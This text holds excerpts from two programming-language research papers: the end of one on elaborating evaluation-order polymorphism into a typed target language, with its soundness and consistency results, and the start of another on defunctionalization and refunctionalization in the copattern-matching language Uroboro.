well-typed using the typing rules in Figure 10, but what type should
it have? We answer this question by defining another translation on
types. This function, defined by a function |S| = A, translates an
economical source type S to a target type A.

We will show that if e ϕ: S ↪→ M then M : A, where A = |S|;
this is Theorem 10. Our translation follows a similar approach to
Dunfield (2014). However, that system had general intersection
types A1 ∧ A2, where A1 and A2 don’t necessarily have the
same structure. In contrast, we have Da. A which corresponds to
([V/a]A) ∧ ([N/a]A). We also differ in having recursive types;
since these are explicitly rolled (or folded) and unrolled in our
target language, our rules elabµIntro and elabµElim add these
constructs.

Not bidirectional. We want to relate the operational behaviour of
a source expression to the operational behaviour of its elaboration.
Since our source operational semantics is over type-erased source
expressions, it will be convenient for elaboration to work on erased
source expressions. Without type annotations, we can collapse the
bidirectional judgments into a single judgment (with “:” in place of⇐/⇒); this obviates the need for elaboration versions of Esub and
Eanno, which merely switch between ⇐ and ⇒.
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Γ ` e ϕ: S ↪→M Erased source expression e elaborates at type S to target termM

(x : S) ∈ Γ
Γ ` x val: S ↪→ x

elabvar
(u : S) ∈ Γ

Γ ` u >: S ↪→ u
elabfixvar

Γ, u : S ` e ϕ: S ↪→M

Γ ` (fix u. e) >: S ↪→ (fix u. M)
elabfix

Γ ` () val: 1 ↪→ ()
elab1Intro

∀ Γ, α type ` e val: S ↪→M

Γ ` e val: ∀α. S ↪→ Λ__. M
elab∀Intro

Γ ` e ϕ: ∀α. S ↪→M Γ ` S ′ type
Γ ` e ϕ: [S ′/α]S ↪→M[__]

elab∀Elim

D
Γ ` e val: [V/a]S ↪→M1

Γ ` e val: [N/a]S ↪→M2

Γ ` e val: (Da. S) ↪→ (M1,M2)
elabDIntro

Γ ` e ϕ: (Da. S) ↪→M

Γ ` e ϕ: [V/a]S ↪→ (proj1M)
Γ ` e ϕ: [N/a]S ↪→ (proj2M)

elabDElim

εI
Γ ` e ϕ: S ↪→M

Γ ` e ϕ: VIS ↪→M
Γ ` e val: NIS ↪→ (thunkM)

elabIIntro Γ ` e ϕ: VIS ↪→M

Γ ` e ϕ: S ↪→M
elabIElimV

Γ ` e ϕ: NIS ↪→M

Γ ` e >: S ↪→ (forceM)
elabIElimN

→ Γ, x : S1 ` e ϕ: S2 ↪→M

Γ ` (λx. e) val: (S1 → S2) ↪→ λx.M
elab→Intro

Γ ` e1 ϕ1
: (S1 → S2) ↪→M1 Γ ` e2 ϕ2

: S1 ↪→M2

Γ ` (e1 @ e2) >: S2 ↪→ (M1 @M2)
elab→Elim

∗ Γ ` e1 ϕ1
: S1 ↪→M1 Γ ` e2 ϕ2

: S2 ↪→M2

Γ ` (e1, e2) ϕ1tϕ2
: (S1 ∗ S2) ↪→ (M1,M2)

elab∗Intro
Γ ` e ϕ: (S1 ∗ S2) ↪→M

Γ ` (projk e) >: Sk ↪→ (projkM)
elab∗Elimk

+
Γ ` e ϕ: Sk ↪→M

Γ ` (injk e) ϕ: (S1 + S2) ↪→ (injkM)
elab+Introk

Γ ` e ϕ0
: (S1 + S2) ↪→M0

Γ, x1 : S1 ` e1 ϕ1
: S ↪→M1

Γ, x2 : S2 ` e2 ϕ2
: S ↪→M2

Γ ` case(e, x1.e1, x2.e2) >: S
↪→ case(M0, x1.M1, x2.M2)

elab+Elim

µ
Γ ` e ϕ:

[
(µα. S)/α

]
S ↪→M

Γ ` e ϕ: µα. S ↪→ (rollM)
elabµIntro

Γ ` e ϕ: µα. S ↪→M

Γ ` e >:
[
(µα. S)/α

]
S ↪→ (unrollM)

elabµElim

Figure 13. Elaboration

Elaboration rules. We are elaborating the economical type sys-
tem, which has by-value connectives, into the target type system,
which also has by-value connectives. Most of the elaboration rules
just map source constructs into the corresponding target constructs;
for example, elabvar elaborates x to x, and elab→Intro elaborates
λx. e to λx.M where e elaborates toM.

Elaborating ∀. Rule elab∀Intro elaborates e (which is type-
erased and thus has no explicit source construct) to the target type
abstraction Λ__.M; rule elab∀Elim elaborates to a target type ap-
plicationM[__].

Elaborating D. Rule elabDIntro elaborates an e at type Da. S to
a pair with the elaborations of e at type [V/a]S and at [N/a]S. Note
that unlike the corresponding rule EDIntro in the non-elaborating
economical type system, which introduces a variable a into Γ and
types e parametrically, elabDIntro substitutes concrete evaluation
orders V and N for a. Consequently, the Γ in the elaboration judg-
ment never contains a evalorder declarations.

Rule elabDElim elaborates to the appropriate projection.

Elaborating I. Rule elabIIntro has two conclusions. The first
conclusion elaborates at type VIS as if elaborating at type S. The
second conclusion elaborates at NIS to a thunk. Correspondingly,
rule elabIElimV ignores the V suspension, and rule elabIElimN

forces the thunk introduced via elabIIntro.

5.1 Elaboration Type Soundness
The main result of this section (Theorem 10) is that, given a non-
elaborating economical typing derivation Γ `E e ϕ⇐ S, we can
derive Γ ` er(e) ϕ ′ : S ↪→M such that the target term M is well-
typed. The erasure function er(e), defined in Figure 6, removes type
annotations, type abstractions, and type applications.

It will be useful to relate various notions of valueness. First, if e
elaborates to a syntactic target value W, then the elaboration rules
deem e to be a (source) value.
Lemma 5. If Γ ` e ϕ: S ↪→W then ϕ = val.

Second, if e is a value according to the source typing rules, its
elaboration M is valuable (but not necessarily a syntactic target
value).
Lemma 6 (Elaboration valuability).
If Γ ` e val: S ↪→ M then M is valuable, that is, there exists Ṽ
such thatM = Ṽ .

Several substitution lemmas are required. The first is for the
non-elaborating economical type system; we’ll use it in the EDIntro
case of the main proof to remove a evalorder declarations.
Lemma 7 (Substitution—Evaluation orders).
(1) If Γ, a evalorder, Γ ′ ` S type and Γ ` ε evalorder

then Γ, [ε/a]Γ ′ ` [ε/a]S type.
(2) IfD derives Γ, a evalorder, Γ ′ `E e ϕ⇐ S and Γ ` ε evalorder

then D ′ derives Γ, [ε/a]Γ ′ `E e ϕ⇐ [ε/a]S where D ′ is not
larger than D.

(3) IfD derives Γ, a evalorder, Γ ′ `E e ϕ⇒ S and Γ ` ε evalorder,
then D ′ derives Γ, [ε/a]Γ ′ `E e ϕ⇒ [ε/a]S where D ′ is not
larger than D.

Next, we show that an expression e1 can be substituted for a
variable x, provided e1 elaborates to a target valueW.
Lemma 8 (Expression substitution).
(1) If Γ ` e1 ϕ1

: S1 ↪→W and Γ, x : S1, Γ ′ ` e2 ϕ2
: S ↪→M

then Γ, Γ ′ ` [e1/x]e2 ϕ2
: S ↪→ [W/x]M.

(2) If Γ ` fix u. e1 >: S1 ↪→ fix u. M1

and Γ, u : S1, Γ
′ ` e2 ϕ2

: S ↪→M
then Γ, Γ ′ `

[
(fix u. e1)

/
u
]
e2 ϕ2

: S ↪→ [
(fix u. M1)

/
u
]
M.
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Lemma 9 (Type translation well-formedness).
If Γ ` S type then |Γ | ` |S| type.

We can now state the main result of this section:
Theorem 10 (Elaboration type soundness).
If Γ `E e ϕ⇐ S or Γ `E e ϕ⇒ S
where Γ ` S type and Γ contains no a evalorder declarations
then there existsM such that Γ ` er(e) ϕ ′ : S ↪→M
where ϕ ′ v ϕ and |Γ | `T M : |S|.

The proof is in Dunfield (2015, Appendix B.5). In this theorem,
the resulting elaboration judgment has a valueness ϕ ′ that can be
more precise than the valuenessϕ in the non-elaborating judgment.
Suppose that, inside a derivation of a evalorder `E e val⇐ S, we
have

a evalorder `E e
′
val⇐ aIS ′

a evalorder `E e
′
>⇐ S ′

EIElimε

The valueness in the conclusion must be >, because we might
substitute N for a, which is elaborated to a force, which is not a
value. Now suppose we substitute V for a. We need to construct an
elaboration derivation, and the only rule that works is elabIElimV:

· ` e ′ val: VIS ′ ↪→M

· ` e ′ val: S ′ ↪→M
elabIElimV

This says e ′ is a value (val), where the original (parametric) eco-
nomical typing judgment had >: Substituting a concrete object
(here, V) for a variable a increases information, refining > (“I can-
not prove this is a value”) into val. In the introduction rules, sub-
stituting N for a can replace > with val, because we know we’re
elaborating to a thunk, which is a value.

6. Consistency
Our main result in this section, Theorem 15, says that if e elaborates
to a target term M, and M steps (zero or more times) to a target
value W, then e steps (zero or more times) to some e ′ that elabo-
rates toW. The source language stepping relation (Figure 5) allows
both by-value and (more permissive) by-name reductions, raising
the concern that a call-by-value program might elaborate to a call-
by-name target program, that is, one taking steps that correspond
to by-name reductions in the source program. So we strengthen the
statement, showing that if M is completely free of by-name con-
structs, then all the steps taken in the source program are by-value.

That still leaves the possibility that we messed up our elabora-
tion rules, such that a call-by-value source program elaborates to
anM that contains by-name constructs. So we prove (Theorem 18)
that if the source program is completely free of by-name constructs,
its elaboration M is also free of by-name constructs. Similarly, we
prove (Theorem 17) that creating an economical typing derivation
from an impartial typing derivation preserves N-freeness.

Proofs can be found in Dunfield (2015, Appendix B.6).

6.1 Source-Side Consistency?
A source expression typed by name won’t get stuck if a by-value
reduction is chosen, but it may diverge instead of terminating.
Suppose we have typed (λx. x) against τ N→ τ. Taking only a by-
name reduction, we have

(λx. ())(fix u. u)  [(fix u. u)/x]() = () using βNreduce

However, if we “contradict” the typing derivation by taking by-
value reductions, we diverge:

(λx. ())(fix u. u)  (λx. ())
(
[(fix u. u)/u]u

)
using fixVreduce

= (λx. ())(fix u. u)  . . .

We’re used to type safety being “up to” nontermination in the sense
that we either get a value or diverge, without getting stuck, but this
is worse: divergence depends on which reductions are chosen.

To get a source type safety result that is both direct (without ap-
pealing to elaboration and target reductions) and useful, we’d need
to give a semantics of “reduction with respect to a typing deriva-
tion”, or else reduction of a typing derivation. Such a semantics
would support reasoning about local transformations of source pro-
grams. It should also lead to a converse of the consistency result in
this section: if a source expression reduces with respect to a typing
derivation, and that typing derivation corresponds to an elaboration
derivation, then the target program obtained by elaboration can be
correspondingly reduced.

6.2 Defining N-Freeness
Definition 1 (N-freeness—impartial).

(1) An impartial type τ is N-free iff (i) for each ε appearing in S,
the evaluation order ε is V; and (ii) τ has no D quantifiers.

(2) A judgment γ `I e ϕ⇐ τ or γ `I e ϕ⇒ τ is N-free iff: (a) γ
has no a evalorder declarations; (b) in each declaration x ϕ⇒ τ
in γ, the valuenessϕ is val and the type τ is N-free; (c) all types
appearing in e are N-free; and (d) τ is N-free.

Definition 2 (N-freeness—economical).

(1) An economical type S is N-free iff (i) for each εIS0 appearing
in S, the evaluation order ε is V; and (ii) S has no D quantifiers.

(2) A judgment Γ `E e ϕ⇐ S or Γ `E e ϕ⇒ S is N-free iff: (a) Γ
has no a evalorder declarations; (b) all types S ′ in Γ are N-free;
(c) all types appearing in e are N-free; and (d) S is N-free.

Definition 3 (N-freeness—target). A target term M is N-free iff it
contains no thunk and force constructs.

6.3 Lemmas for Consistency
An inversion lemma allows types of the form VI . . .VIS, a gener-
alization needed for the elabIElimV case; when we use the lemma
in the consistency proof, the type is not headed by VI:
Lemma 11 (Inversion). Given · ` e ϕ: VI . . .VI︸ ︷︷ ︸

0 or more

S ↪→M:

(0) IfM = (λx.M0) and S = (S1 → S2)
then e = (λx. e0) and ·, x : S1 ` e0 ϕ ′ : S2 ↪→M0.

(1) IfM = (W1,W2) and S = (Da. S0)
then · ` e ϕ: [V/a]S0 ↪→W1 and · ` e ϕ: [N/a]S0 ↪→W2.

(2) IfM = thunkM0 and S = NIS0 then · ` e ϕ ′ : S0 ↪→M0.

Parts (3)–(6), for ∀, +, µ and ∗, are stated in the appendix.
Previously, we showed that if a source expression elaborates to a

target value, source typing says the expression is a value (ϕ = val);
here, we show that if a source expression elaborates to a target
value that is N-free (ruling out thunkM produced by the second
conclusion of elabIIntro), then e is a syntactic value.
Lemma 12 (Syntactic values).
If Γ ` e val: S ↪→W andW is N-free then e is a syntactic value.

The next lemma just says that the 7→ relation doesn’t produce
thunks and forces out of thin air.
Lemma 13 (Stepping preserves N-freeness). If M is N-free and
M 7→M ′ thenM ′ is N-free.

The proof is by cases on the derivation of M 7→ M ′, using the
fact that ifM0 andM1 are N-free, then [M0/x]M1 is N-free.

6.4 Consistency Results
Theorem 14 (Consistency).
If · ` e ϕ: S ↪→ M and M 7→ M ′ then there exists e ′ such that
e ∗ e ′ and · ` e ′ ϕ ′ : S ↪→M ′ and ϕ ′ v ϕ.
Moreover: (1) If ϕ = val then e ′ = e. (2) If M is N-free then
e ∗ e ′ can be derived without using SrcStepCtxN.
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Result (1), under “moreover”, amounts to saying that values
don’t step. Result (2) stops us from lazily sneaking in uses of
SrcStepCtxN instead of showing that, given N-free M, we can
always find a by-value evaluation context for use in SrcStepCtxV.
Theorem 15 (Multi-step consistency).
If · ` e ϕ: S ↪→ M and M 7→∗ W then there exists e ′ such that
e  ∗ e ′ and · ` e ′ val: S ↪→ W. Moreover, if M is N-free then
we can derive e ∗ e ′ without using SrcStepCtxN.

6.5 Preservation of N-Freeness
Lemma 16. If Γ `E e ϕ⇒ S and S is not N-free then it is not the
case that both Γ and e are N-free.

Theorem 17 (Economizing preserves N-freeness).
If γ `I e ϕ⇐ τ (resp. ⇒) where the judgment is N-free (Definition
1 (2)) then bΓc `E bec ϕ⇐ bτc (resp. ⇒) where this judgment is
N-free (Definition 2 (2)).

Theorem 18 (Elaboration preserves N-freeness).
If Γ `E e ϕ⇐ S (or ⇒) where the judgment is N-free (Definition
2 (2)) then Γ ` er(e) ϕ: S ↪→M such thatM is N-free.

7. Related Work
History of evaluation order. In the λ-calculus, normal-order
(leftmost-outermost) reduction seems to have preceded anything
resembling call-by-value, but Bernays (1936) suggested requiring
that the term being substituted in a reduction be in normal form.
In programming languages, Algol-60 originated call-by-name and
also provided call-by-value (Naur et al. 1960, 4.7.3); while the de-
cision to make the former the default is debatable, direct support for
two evaluation orders made Algol-60 an improvement on many of
its successors. Plotkin (1975) related cbv and cbn to the λ-calculus,
and developed translations between them.

Call-by-need or lazy evaluation was developed in the 1970s
with the goal of doing as little computational work as possible,
under which we can include the unbounded work of not terminat-
ing (Wadsworth 1971; Henderson and Morris 1976; Friedman and
Wise 1976).

Laziness in call-by-value languages. Type-based support for se-
lective lazy evaluation has been developed for cbv languages, in-
cluding Standard ML (Wadler et al. 1998) and Java (Warth 2007).
These approaches allow programmers to conveniently switch to an-
other evaluation order, but don’t allow polymorphism over evalua-
tion orders. Like our economical type system, these approaches are
biased towards one evaluation order.

General coercions. General approaches to typed coercions were
explored by Breazu-Tannen et al. (1991) and Barthe (1996). Swamy
et al. (2009) developed a general typed coercion system for a
simply-typed calculus, giving thunks as an example. In addition
to annotations on all λ arguments, their system requires thunks (but
not forces) to be written explicitly.

Intersection types. While this paper avoids the notation of inter-
section types, the quantifier D is essentially an intersection type
of a very specific form. Theories of intersection types were orig-
inally developed by Coppo et al. (1981), among others; Hindley
(1992) gives a useful introduction and survey. Intersections en-
tered programming languages—as opposed to λ-calculus—when
Reynolds (1996) put them at the heart of the Forsythe language.
Subsequently—Reynolds’s paper describes ideas he developed in
the 1980s—Freeman and Pfenning (1991) started a line of research
on refinement intersections, where both parts of an intersection
must refine the same base type (essentially, the same ML type).

The D intersection in this paper mixes features of general in-
tersection and refinement intersection: the V and N instantiations

have close-to-identical structure, but cbv and cbn functions aren’t
refinements of some “order-agnostic” base type. Our approach is
descended mainly from the system of Dunfield (2014), which elab-
orates (general) intersection and union types into ordinary product
and sum types. We differ in not having a source-level ‘merge’ con-
struct e1,, e2, where the type system can select either e1 or e2, ig-
noring the other component. Since e1 and e2 are not prevented from
having the same type, the type system may elaborate either expres-
sion, resulting in unpredictable behaviour. In our type systems, we
can think of @ in the source language as a merge (@V ,, @N ), but
the components have incompatible types. Moreover, the compo-
nents must behave the same apart from evaluation order (evoking a
standard property of systems of refinement intersection).

Alternative target languages. The impartial type system for our
source language suggests that we should consider targeting an im-
partial, but more explicit, target language. In an untyped setting,
Asperti (1990) developed a calculus with call-by-value and call-by-
name λ-abstractions; function application is disambiguated at run
time. In a typed setting, call-by-push-value (Levy 1999) systemati-
cally distinguishes values and computations; it has a thunk type U
(whence our notation) but also a dual, “lift” F, which constructs a
computation out of a value type. Early in the development of this
paper, we tried to elaborate directly from the impartial type system
to cbpv, without success. Levy’s elegant pair of translations from
cbv and from cbn don’t seem to fit together easily; our feeling is
that a combined translation would be either complicated, or prone
to generating many redundant forces and thunks.

Zeilberger (2009) defined a polarized type system with positive
and negative forms of each standard connective. In that system, ↓
and ↑ connectives alternate between polarities, akin to U and F in
call-by-push-value. Zeilberger’s system has a symmetric function
type, rather than the asymmetric function type found in cbpv. We
guess that a translation into this system would have similar issues
as with call-by-push-value.

8. Future Work
This paper develops type systems with multiple evaluation orders
and polymorphism over evaluation orders, opening up the design
space. More work is needed to realize these ideas in practice.

Implicit polymorphism. We made type polymorphism explicit, to
prevent the type system from guessing evaluation orders. A prac-
tical system should find polymorphic instances without guessing,
perhaps based on existential type variables (Dunfield and Krish-
naswami 2013). We could also try to use some form of (lexically
scoped?) default evaluation order. Such a default could also be
useful for deciding whether some language features, such as let-
expressions, should be by-value or by-name.

Exponential expansion. Our rules elaborate a function typed
with n D quantifiers into 2n instantiations. Only experience can
demonstrate whether this is a problem in practice, but we have
reasons to be optimistic.

First, we need the right point of comparison. The alternative
to elaborating map into, say, 8 instantiations is to write 8 copies
of map by hand. Viewed this way, elaboration maintains the size
of the target program, while allowing an exponentially shorter
source program! (This is the flipside of a sleight-of-hand from
complexity theory, where you can make an algorithm look faster
by inflating the input: Given an algorithm that takes 2n time, where
n is the number of bits in the input integer, we can get a purportedly
polynomial algorithm by encoding the input in unary.)

Second, a compiler could analyze the source program and gen-
erate only the instances actually used, similar to monomorphization
of ∀-polymorphism in MLton (mlton.org).
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Other evaluation orders. Our particular choice of evaluation or-
ders is not especially practical: the major competitor to call-by-
value is call-by-need, not call-by-name. We chose call-by-name for
simplicity (for example, in the source reduction rules), but many of
our techniques should be directly applicable to call-by-need: elab-
oration would produce thunks in much the same way, just for a
different dynamic semantics. Moreover, our approach could be ex-
tended to more than two evaluation orders, using an n-way inter-
section that elaborates to an n-tuple.

One could also take “order” very literally, and support left-to-
right and right-to-left call-by-value. For low-level reasons, OCaml
uses the former when compiling to native code, and the latter when
compiling to bytecode. Being able to specify order of evaluation via
type annotations could be useful when porting code from Standard
ML (which uses left-to-right call-by-value).

Program design. We also haven’t addressed questions about
when to use what evaluation order. Such questions seem to have
been lightly studied, perhaps because of social factors: a program-
mer may choose a strict language because they tend to solve prob-
lems that don’t need laziness—which is self-reinforcing, because
laziness is less convenient in a strict language. However, Chang
(2014) developed tools, based on both static analysis and dynamic
profiling, that suggest where laziness is likely to be helpful.

Existential quantification. By analogy to union types (Dunfield
2014), an existential quantifier would elaborate to a sum type. For
example, the sum tag on a function of type ∃a. τ a→ τ would
indicate, at run time, whether the function was by-value or by-
name. This might resemble a typed version of the calculus of
Asperti (1990).
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Automatic Refunctionalization
to a Language with Copattern Matching

With Applications to the Expression Problem
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Abstract
Defunctionalization and refunctionalization establish a correspon-
dence between first-class functions and pattern matching, but the
correspondence is not symmetric: Not all uses of pattern match-
ing can be automatically refunctionalized to uses of higher-order
functions. To remedy this asymmetry, we generalize from first-class
functions to arbitrary codata. This leads us to full defunctionaliza-
tion and refunctionalization between a codata language based on
copattern matching and a data language based on pattern matching.

We observe how programs can be written as matrices so that
they are modularly extensible in one dimension but not the other.
In this representation, defunctionalization and refunctionalization
correspond to matrix transposition which effectively changes the
dimension of extensibility a program supports. This suggests appli-
cations to the expression problem.

Categories and Subject Descriptors D.3.1 [Programming Lan-
guages]: Formal Definitions and Theory; D.3.3 [Programming
Languages]: Language Constructs and Features

Keywords Defunctionalization, Refunctionalization, Codata, Co-
pattern Matching, Uroboro, Expression Problem

1. Introduction
Defunctionalization transforms programs with higher-order func-
tions into first-order programs with pattern matching (Reynolds
1972; Danvy and Nielsen 2001). Specifically, each function type
is replaced by an algebraic data type with one variant for each lo-
cation in the program where a function of that type is created. The
components of each variant represent the values of the free vari-
ables in the function body. Application of a function of that type is
replaced by a call to an apply function, which dispatches by pattern
matching on the algebraic data type. For instance, the program

mult n y = y ∗ n
add n y = y + n

both (f , (a, b)) = (f a, f b)
example (n, x ) = both (mult n, both (add n, x ))

looks as follows after defunctionalization:

data IntToInt = Mult Int | Add Int
apply (Mult n, y) = y ∗ n
apply (Add n, y) = y + n

both (f , (a, b)) = (apply (f , a), apply (f , b))
example (n, x ) = both (Mult n,both (Add n, x ))

Refunctionalization is the left-inverse of defunctionalization
(Danvy and Millikin 2009). It works on programs that are in the
image of defunctionalization, that is, there must only be one func-
tion that pattern-matches on the algebraic data type. In that case, we
can replace calls to apply by function application and constructor
applications by abstractions based on the apply function and then
remove the algebraic data type and the apply function. Hence we
are back at the original program.

Unfortunately, refunctionalization no longer works when more
than one function pattern-matches on the algebraic data type. For
instance, in the defunctionalized version of the program, we can
find out whether a function from Int to Int is the addition function:

isAdd (Add ) = True
isAdd (Mult ) = False

This program can no longer be refunctionalized, because there is
no way to analyze a function beyond applying it to a value.

The goal of this paper is to remedy this asymmetry between de-
functionalization and refunctionalization. Our main insight is that
symmetry can be restored by generalizing first-class functions to
codata, that is, objects defined by multiple observations (whereas
functions are objects defined by just one observation, namely func-
tion application). The contributions of this paper are as follows:

• We present Uroboro, a language with pattern and copattern
matching (following Abel et al. 2013), and the defunctionaliza-
tion and refunctionalization between its data and codata frag-
ments (Section 2).
• We formalize the data and codata fragments and show that

the total and inverse defunctionalization and refunctionalization
preserve typing and behavior (Section 3).
• We observe that the two transformations can be considered a

form of matrix transposition (Section 4).
• We relate to the expression problem (Wadler 1998; Reynolds

1975; Cook 1990) by showing that the transformations switch
the dimension of extensibility of the program.

Section 5 contains an extension of Reynolds’s (1972) original ex-
ample to demonstrate the utility of defunctionalization and unre-
stricted refunctionalization. We discuss our results and their rela-
tion to previous work in Section 6 and conclude in Section 7.
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data Nat where
zero() : Nat
succ(Nat) : Nat

function sub(Nat,Nat) : Nat where
sub(zero(), k) = zero()
sub(n, zero()) = n
sub(succ(n), succ(k)) = sub(n, k)

Figure 1. Natural numbers and truncated subtraction.

2. Symmetric Data and Codata in Uroboro
We introduce the language Uroboro with its symmetric support for
defunctionalization and refunctionalization and their connection to
the expression problem with a series of small examples.

2.1 Natural Numbers as Data Type
Uroboro supports the definition of algebraic data types and the im-
plementation of first-order functions with pattern matching. For ex-
ample, Figure 1 shows how to define the algebraic data types of
natural numbers and a function that takes two numbers. The data
type definition for Nat declares the signatures of the two construc-
tors zero (without arguments) and succ (with one argument written
in parentheses that is itself of type Nat). After the colon, all con-
structors of a data type have to use the corresponding data type as
return type, in this case, Nat.

Semantically, calling constructors is the only way to create a
value of the data type. This means that consumers of a data type can
be defined by pattern matching on the constructors. If a consumer
handles all constructors, it is sure to support all values of the data
type. For example, the function sub is defined by pattern matching
on natural numbers. After the function keyword, we first give the
signature of sub. The function takes two arguments of type Nat
and returns Nat. The implementation of sub is given by pattern
matching, using the constructor names zero and succ declared with
the data type above. The equations deal with all the different ways
the arguments could have been created by calling the constructors.
The first equation says that subtracting from 0 gives 0 (because of
truncated subtraction), the second equation says that subtracting 0
doesn’t change a number, and the third equation recurses in the case
that both arguments to sub are greater than one.

This example is interesting because sub uses some features of
pattern matching that are not obvious to refunctionalize: It pattern
matches on both function arguments and it uses catch-all patterns
instead of enumerating all constructors. We will come back to these
aspects in Section 3.2.

We chose the syntax for constructor and function signatures to
mimic the syntax of constructor and function calls to highlight the
fact that in Uroboro, functions and constructors are second-class
entities that can only be used in calls, but cannot form expressions
on their own. Consequently, Uroboro does not support higher-order
functions directly. Instead, higher-order functions are supported by
encoding them as codata types with a singly apply destructor.

2.2 Lists as Codata Type
Uroboro supports the definition of codata types and the implemen-
tation of first-order functions with copattern matching. For exam-
ple, a list of natural numbers can be represented as a partial func-
tion from indices to the list element at that index. With first-class
functions, we could implement this idea by defining a type syn-
onym List = Nat → Nat. In Uroboro, we define the codata type
in Figure 2 instead. The codata type definition for List declares the
signatures of the destructor index (with one argument of type Nat).
All destructors of a codata type have to use the corresponding co-
data type as receiver type before the dot, in this case, List.

codata List where
List.index(Nat) : Nat

function nil() : List where
nil().index(n) = error()

function cons(Nat,List) : List where
cons(head , tail).index(zero()) = head
cons(head , tail).index(succ(n)) = tail .index(n)

Figure 2. Lists of natural numbers represented as codata type.

codata type 
 data type
copattern-matching function 
 constructor

destructor 
 pattern-matching function

Figure 3. How defunctionalization (read left to right) and refunc-
tionalization (read right to left) change the entities in a program.

Semantically, calling destructors is the only way to consume a
value of the codata type. This means that creators of a codata type
can be defined by copattern matching on the destructors. If a creator
supports all destructors, it is sure to provide enough information for
all consumers of the codata type. For example, the functions nil and
cons are implemented by copattern matching, using the destructor
name index declared with the codata type above. The equations
deal with all the different ways the result could be consumed by
calling the destructor. The equation for nil says that indexing into
an empty list is an error. The first equation of cons says that calling
index with 0 returns the head of the list. And the second equation
delegates a call to index with a higher number to the tail of the list.

Again, the syntax for destructor signatures mimics the syntax
for destructor calls. We choose the syntax with the dot after the
receiver (as well as the word receiver itself) to resemble the usual
presentation of method calls or record accesses. However, note
that codata types differ from both object types and record types
as they are found in most languages. Unlike usual record types, the
components of codata types are evaluated only when a destructor is
called. Unlike object types, codata types don’t support subtyping,
inheritance or implicit self recursion.

2.3 Defunctionalizing Lists
A problem with the implementation of lists in Figure 2 is that it is
not immediately apparent how the lists are stored on the heap. We
can make the in-memory structure of a codata type more apparent
by defunctionalizing1 it to a data type. With defunctionalization, all
functions that copattern match on the original codata type become
constructors of a new data type, and all destructors of the original
codata type become functions that pattern match on the new data
type (see Figure 3, reading left to right).

For example, Figure 4a shows the result of defunctionalizing
the list representation from Figure 2. The functions nil and cons
become constructors without changing their signature. The destruc-
tor index becomes a function, with the receiver moved to the first
argument position. The equations are rewritten accordingly and as-
sociated to the new function.

The data representation of lists makes it easier to see that the
lists are stored as single-linked lists on the heap, and that indexing
into a list takes linear time. Since defunctionalization preserves the
operational behavior of programs, these insights into the behavior
of lists carry over to the codata representation. Carrying over such

1 We keep the name defunctionalization although technically we do not have
higher-order functions anymore. Pottier and Gauthier (2006) proposed the
more general term concretization for translations of introduction forms into
injections and elimination forms into case analysis.

270



data List where
nil() : List
cons(Nat,List) : List

function index(List,Nat) : Nat where
index(nil(),n) = error()
index(cons(head , tail), zero()) = head
index(cons(head , tail), succ(n)) = index(tail ,n)

(a) Lists of natural numbers, represented as data type.

function null(List) : Bool where
null(nil()) = true()
null(cons(head , tail)) = false()

(b) Detecting empty lists, modular in the data representation of lists.

Figure 4. Data representation of lists.

insights was the original goal of defunctionalization in Reynolds’s
(1972) work on definitional interpreters: To understand a higher-
order program (the metacircular interpreter) by studying an oper-
ationally equivalent program (the defunctionalized interpreter). In
fact, the environment representations in Reynold’s interpreters are
very similar to the representations of lists in this paper.

It turns out that the data representation of lists make it also
easy to add additional consumers of lists, for example, a function
that checks whether a list is empty. Since additional consumers
are separate functions, they can be added in a modular way in the
sense that adding them doesn’t require to change any old code, or to
intersperse new code with old code. In a practical implementation,
they could live in separate files. In this paper, they can live in
separate figures, in this example Figure 4b.

2.4 Refunctionalizing Lists
We can undo the defunctionalization by refunctionalizing the pro-
gram in Figure 4a back to the program in Figure 2. With refunc-
tionalization, all functions that pattern match on the original data
type become destructors of a new codata type, and all constructors
of the original data type become functions that copattern match on
the new codata type (see Figure 3, reading right to left).

Defunctionalization and refunctionalization are both whole-
program transformation, because they require to transform all func-
tions that copattern match respectively pattern match on a type, not
just the functions in any particular module or part of a program.
For example, if we want to support the null operation on the co-
data representation of lists, we have to refunctionalize the code in
Figures 4a and 4b together. The result is shown in Figure 5a.

Since we now refunctionalize a data type wich two functions
pattern match on, we get a codata type with two destructors. This
would not be supported by the usual refunctionalization to a pro-
gram with higher-order functions. In Uroboro, however, the support
for data types and for codata types is more balanced which leads to
more symmetric defunctionalization and refunctionalization.

2.5 Modular Extensibility
In Uroboro, like in many languages, it is more modular to add
functions than to add constructors or destructors. Functions can be
added in a separate part of the program, without changing existing
code. But to add constructors or destructors, one has to change the
existing data respectively codata type, as well as all existing func-
tions that pattern respectively copattern match on that type. Since
defunctionalization and refunctionalization change which aspects
of a program are encoded as functions, they also change which di-
mensions of extensibility are supported in a modular way.

codata List where
List.index(Nat) : Nat
List.null() : Bool

function nil() : List where
nil().index(n) = error()
nil().null() = true()

function cons(Nat,List) : List where
cons(head , tail).index(zero()) = head
cons(head , tail).index(succ(n)) = tail .index(n)
cons(head , tail).null() = false()

(a) Detecting empty lists, scattered in the codata representation of lists.

function repeat(Nat) : List where
repeat(head).index(n) = head
repeat(head).null() = false()

(b) Creating infinite lists, modular in the codata representation of lists.

Figure 5. Codata representation of lists.

For example, with the codata representation of lists with null
in Figure 5a, the three lines of code from the null extension in
Figure 4b are scattered to three different locations: The signature
of null moves to the declaration of the codata type, the equation
for empty lists moves to the definition of the nil function, and the
equation for non-empty lists move to the definition of the cons
function. This scattering shows how the dimension of extensibility
“add consumers” is better supported in the data representation than
in the codata representation.

Conversely, the dimension of extensibility “add creators” is bet-
ter supported in the codata representation than in the data represen-
tation, for example, a function that creates a list which infinitely
repeats the same element. Since additional creators are separate
functions, they can be added modularly without changing any old
code or interspersing new code with old code. Again, in a practical
implementation, they could live in separate files as here they can
live in separate figures, in this example Figure 5b.

We could defunctionalize the code in Figures 5a and 5b to study
how the same extension looks like in the data representation of lists.
The three lines of code in Figure 5b would be scattered to three
different locations the defunctionalized program: The signature of
repeat would move to the data type declaration as additional con-
structor, and the equations would move to the index and null func-
tions, respectively. This scattering shows how codata representation
supports the dimension of extensibility “add creators” better.

This trade-off between two dimensions of extensibility relates
to Wadler’s (1998) expression problem. Traditionally, it is phrased
as a trade-off between a functional and an object-oriented decom-
position. In the light of the present work, we would rather phrase it
as a trade-off between a data-oriented and codata-oriented decom-
position, with defunctionalization and refunctionalization as trans-
formations between the two decompositions.

3. Formalization
We formally define the two language fragments that are related
by defunctionalization and refunctionalization: One language with
data types and pattern matching, the other with codata types and co-
pattern matching. These languages are simply-typed and enjoy type
soundness, proven via the usual progress and preservation theo-
